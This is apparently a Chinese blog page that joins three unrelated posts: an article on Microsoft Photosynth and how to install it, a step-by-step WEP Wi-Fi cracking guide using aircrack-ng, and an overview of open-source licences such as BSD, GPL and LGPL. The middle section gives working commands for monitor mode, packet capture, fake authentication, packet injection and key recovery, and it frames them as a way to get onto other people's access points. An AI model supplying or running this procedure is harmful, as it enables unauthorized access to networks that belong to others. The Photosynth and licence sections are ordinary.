Photosynth——激活你的图片

2009年08月16日 星期日 02:37

    在这个信息爆炸的时代,您是否已经厌烦了用数码相机拍摄一大堆平面照片?是否想过有一天可以让不同角度的照片齐心协力地塑造出一个最本真的自己?看过《怪物史莱克》的人一定都被影片里那些可爱的3D场景深深地震撼了。想不想亲身体验怎样做出自己的3D影像呢?现在,有一项神奇的技术可以恰如其分地满足您的愿望,它便是

              

微软在去年八月推出的Photosynth让用户可以自动将多个图片缝合起来以制作临场式的三维视图。简单地说来,Photosynth是一款以处理照片为中心的基于BS模式的软件系统,通过核心的图像要素提取分析算法,将大量相关的不同来源不同视角的二维照片处理成为拥有三维属性的立体影像。Photosynth会将您的每张照片通过景像算法处理,提取出很多的特征元素。通过创建一个点云给图片一个唯一的标识,类似于DNA一样为每个已被识别的图片的特征进行标识。然后,这些照片的特征会在一个网中被链接起来。当同一个特征在不同的图像中被发现时,它的三维位置就能够被计算出来。这类似于人脑通过两个眼睛看到的图像来感知三维立体位置。Photosynth的三维模型正是这些大量的位于相应空间的特征元素的显示。当Photosynth处理时,它不知道相机的位置,或者通过什么路径拍摄的。当有很多相机和很多共同点时,Photosynth所依赖的算法不仅能够辨别出三维场景中的特征,而且能够知道这些相机所处的位置和它们的目标物以及它们看到的特征路径。Photosynth客户端展示了三维场景模型,同时也将原始图片覆盖在这个模型之上。

    这一服务1月份的时候在主流媒体上还有个重要的露脸机会,CNN用它来以群体合作的方式制作奥巴马就职时的三维视图。几周前,微软将Photosynth查看器从一个浏览器插件变成了Silverlight应用,为Photosynth的大范围使用移除了一个主要障碍。这也让 Photosynth的大门最终也对苹果机的用户敞开,不过, Photosynth的桌面客户端(它是用来合成图片的)在OSX系统上无法运行。

 

 

. Photosynth现在已经与微软虚拟地球(Microsoft Virtual Earth)整合应用于商业用途。 据国外媒体报道,微软近日宣布将整合虚拟地球(Virtual Earth)和Photosynth三维图片技术,以方便商业合作伙伴创建三维模型。 为了实施这个计划。微软同时还推出Photosynth技 术商业授权许可,它取消了对用户使用图片数量的限制。对于房地产商而言,这无疑是一个好消息,房地产商可以利用该技术创建房屋的三维视图;对于商品零售商 而言,他们也可以利用该项技术为顾客提供一个更为直观的三维产品视图;另外,一些旅游公司也可以利用它全面地展示风景名胜地。Photosynth是一款极具创新精神而且具备潜力的产品,微软现在已经为它找到了进行商业运作的方式。Photosynth为商家和普通大众提供一种处理照片的新方法。Photosynth会判断出照片和照片之间的共同点,快速建构将各种不同角度和来源照片的3D真实场景。Photosynth因此极大地丰富了用户的视野。去年,伦敦眼(英国著名景点)为了更好地把自己展示给游客,已经利用Photosynth处理该景点的图片。

. 新功能:“聚光灯”和“十字导航查看器”,highlights & cross-platform viewer”。 这确实是一个振奋人心的消息。通过“聚光灯”功能我们可以把自己图片中认为不可忽略的部分展示出来。而基于“silverlight viewer”photosyth viewer则让你的photosynth可以运行在更多的操作系统上。

1. 基于Silverlight Cross-Platform ViewerPhotosynth的目标用户是尽可能多的人,但是一直以来Direct 3D在苹果用户间表现差强人意。基于silverlight的技术彻底解决了这个问题,它可以让苹果和其他用户一起参与到photosynth的体验中。所以采用它作为photosynth主播放器核心。让我们来看一下基于silverlight的图片播放器界面吧。

2. Synth Highlights Photosynth可以把众多平面图片连接成3维视景。但最好的常常都躲在角落里等待着你去发掘,因此很容易让我们忽略了。采用聚光灯功能即可使你的synth重点突出,把自己认为最美的展现给看官看。

 

   

     总的来说,基于silverlight技术虽然看起来是性能上的软肋,但是它让photosyth可以适用于苹果系统用户而且方便添加“聚光灯“等效果,不得不说对推广photosyth贡献巨大。

Photosynth是微软和华盛顿大学合作的一项技术,当初的名称是Photo Tourism。网站上有针对这项技术的细节作说明:http://phototour.cs.washington.edu

Photosynth为商家和普通大众提供一种处理照片的新方法。Photosynth会判断出照片和照片之间的共同点,快速建构将各种不同角度和来源照片的3D真实场景。Photosynth因此极大地丰富了用户的视野。而Silverlight技术也让Photosynth能在更多的操作平台上正常运行。数周前,微软用Silverlight应用取代了Photosynth中的浏览器插件查看器查,微软清除了Photosynth普及道路上最大的障碍,这也让苹果用户使用到Photosynth技术。除了新的播放器外,微软最近也引入了许多适用的功能。例如,用户现在可以将重要照片进行高亮提示,新加入的隐私控制功能可以让用户新合成的图片不再默认对外公开。

接下来我们就来讲解一下如何使用Photosynth。实际上Photosynth不仅呈现了3D效果出众的照片浏览,其操作也是十分的简单易上手。

一.安装

上官方网站可以下载到这份软件:http://photosynth.net/install.aspx

http://mslabs-999.vo.llnwd.net/e1/installer/PhotosynthInstall.exe点击安装图标进行安装。

二、命名和选取照片

    

                                   

三.运算和处理

另外值得注意的是在Photosynth网站最近推出一个新的有趣的功能,是一个GIS相关的地图搜索功能,如下图。这个功能类似于Google的街景浏览,但效果更佳。

                                                                                    

                                                                                        (作者:上海交通大学微软技术俱乐部)

破解wep无线加密

一、安装ubuntu和aircrack-ng
先安装 Ubuntu9.04,更新系统到最新
终端中输入 sudo apt-get install aircrack-ng 安装aircrack-ng
没联网的话 到别的电脑上网下载aircrack-ng Ubuntu DEB安装包 安装

二、破解过程
1、启动无线网卡的监控模式,在终端中输入:sudo airmon-ng start wlan0
(wlan0是无线网卡的端口,可在终端中输入 ifconfig 查看)

2、查看无线AP在终端中输入:
sudo airodump-ng mon0
(特别说明:启动监控模式后无线网的端口现在是 mon0 !!!)
看看有哪些采用wep加密的AP在线,然后按 ctrl+c 退出,保留终端

3、抓包
另开一个终端,输入:
sudo airodump-ng -c 6 --bssid AP's MAC -w wep mon0
(-c 后面跟着的6是要破解的AP工作频道,--bissid后面跟着的AP's MAC是要欲破解AP的MAC地址,-w后面跟着wep的是抓下来的数据包DATA保存的文件名,具体情况根据步骤2里面的在线AP更改频道和MAC地 址,DATA保存的文件名可随便命名)

4、与AP建立虚拟连接
再另开一个终端,输入:
sudo aireplay-ng -1 0 -a AP's MAC -h My MAC mon0
(-h后面跟着的My MAC是自己的无线网卡的MAC地址)

5、进行注入
成功建立虚拟连接后输入:
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h My MAC mon0
现在回头看下步骤3的终端是不是DATA在开始飞涨!

6、解密
收集有5000个以上的DATA之后,另开一个终端,输入:
sudo aircrack-ng wep*.cap
进行解密
(如果没算出来的话,继续等,aircrack-ng 会在DATA每增加多5000个之后就自动再运行,直到算出密码为至)

7、收工
破 解出密码后在终端中输入 sudo airmon-ng stop mon0 关闭监控模式,不然无线网卡会一直向刚刚的AP进行注入的,用ctrl+c退出或者直接关闭终端都是不行的。 现在可以冲浪去了,或者重复步聚1-7破解其它的AP 呵呵兄弟们冲浪时可别太猛了,不然把主人给冲翻了可就不好。

有关开源协议

开源在今天的软件业已经很普遍,但开源是否意味着使用者可以对开源后的代码为所欲为呢?答案是否定的。开源运动同样有自己的游戏规则和道德准则。不遵行这些规则不但损害开源运动的健康发展,也会对违规者造成名誉和市场上的损失,更可能陷入法律纠纷和赔偿。

现今存在的开源协议很多,而经过 Open Source Initiative组织通过 批准的开源协议

目前有58种。我们在常见的开源协议如BSD, GPL, LGPL,MIT等都是OSI批准的协议。如果要开源自己的代码,最好也是选择这些被批准的开源协议。

这里我们来看四种最常用的开源协议及它们的适用范围,供那些准备开源或者使用开源产品的开发人员/厂家参考。

Mozilla Public License

  MPL License,允许免费重发布、免费修改,但要求修改后的代码版权归软件的发起者。这种授权维护了商业软件的利益,,它要求基于这种软件得修改无偿贡献 版权给该软件。这样,围绕该软件得所有代码得版权都集中在发起开发人得手中。但MPL是允许修改,无偿使用得。MPL软件对链接没有要求。

BSD开源协议

BSD开源协议是一个给于使用者很大自由的协议。基本上使用者可以”为所欲为”,可以自由的使用,修改源代码,也可以将修改后的代码作为开源或者专有软件再发布。


但”为所欲为”的前提当你发布使用了BSD协议的代码,或则以BSD协议代码为基础做二次开发自己的产品时,需要满足三个条件:

1. 如果再发布的产品中包含源代码,则在源代码中必须带有原来代码中的BSD协议。

2. 如果再发布的只是二进制类库/软件,则需要在类库/软件的文档和版权声明中包含原来代码中的BSD协议。

3. 不可以用开源代码的作者/机构名字和原来产品的名字做市场推广。

BSD 代码鼓励代码共享,但需要尊重代码作者的著作权。BSD由于允许使用者修改和重新发布代码,也允许使用或在BSD代码上开发商业软件发布和销售,因此是对 商业集成很友好的协议。而很多的公司企业在选用开源产品的时候都首选BSD协议,因为可以完全控制这些第三方的代码,在必要的时候可以修改或者二次开发。

Apache Licence 2.0

Apache Licence是著名的非盈利开源组织Apache采用的协议。该协议和BSD类似,同样鼓励代码共享和尊重原作者的著作权,同样允许代码修改,再发布(作为开源或商业软件)。需要满足的条件也和BSD类似:

1.需要给代码的用户一份Apache Licence

2.如果你修改了代码,需要再被修改的文件中说明。

3.在延伸的代码中(修改和有源代码衍生的代码中)需要带有原来代码中的协议,商标,专利声明和其他原来作者规定需要包含的说明。

4. 如果再发布的产品中包含一个Notice文件,则在Notice文件中需要带有Apache Licence。你可以在Notice中增加自己的许可,但不可以表现为对Apache Licence构成更改。

Apache Licence也是对商业应用友好的许可。使用者也可以在需要的时候修改代码来满足需要并作为开源或商业产品发布/销售。

GPL

我们很熟悉的Linux就是采用了GPL。GPL协议和BSD, Apache Licence等鼓励代码重用的许可很不一样。GPL的出发点是代码的开源/免费使用和引用/修改/衍生代码的开源/免费使用,但不允许修改后和衍生的代 码做为闭源的商业软件发布和销售。这也就是为什么我们能用免费的各种linux,包括商业公司的linux和linux上各种各样的由个人,组织,以及商 业软件公司开发的免费软件了。

GPL协议的主要内容是只要在一个软件中使用(“使用”指类库引用,修改后的代码或者衍生代码)GPL协议的产品,则该软件产品必须也采用GPL 协议,既必须也是开源和免费。这就是所谓的”传染性”。GPL协议的产品作为一个单独的产品使用没有任何问题,还可以享受免费的优势。

由于GPL严格要求使用了GPL类库的软件产品必须使用GPL协议,对于使用GPL协议的开源代码,商业软件或者对代码有保密要求的部门就不适合集成/采用作为类库和二次开发的基础。

其它细节如再发布的时候需要伴随GPL协议等和BSD/Apache等类似。

LGPL

LGPL 是GPL的一个为主要为类库使用设计的开源协议。和GPL要求任何使用/修改/衍生之GPL类库的的软件必须采用GPL协议不同。LGPL允许商业软件通 过类库引用(link)方式使用LGPL类库而不需要开源商业软件的代码。这使得采用LGPL协议的开源代码可以被商业软件作为类库引用并发布和销售。

但是如果修改LGPL协议的代码或者衍生,则所有修改的代码,涉及修改部分的额外代码和衍生的代码都必须采用LGPL协议。因此LGPL协议的开 源代码很适合作为第三方类库被商业软件引用,但不适合希望以LGPL协议代码为基础,通过修改和衍生的方式做二次开发的商业软件采用。


GPL/LGPL都保障原作者的知识产权,避免有人利用开源代码复制并开发类似的产品。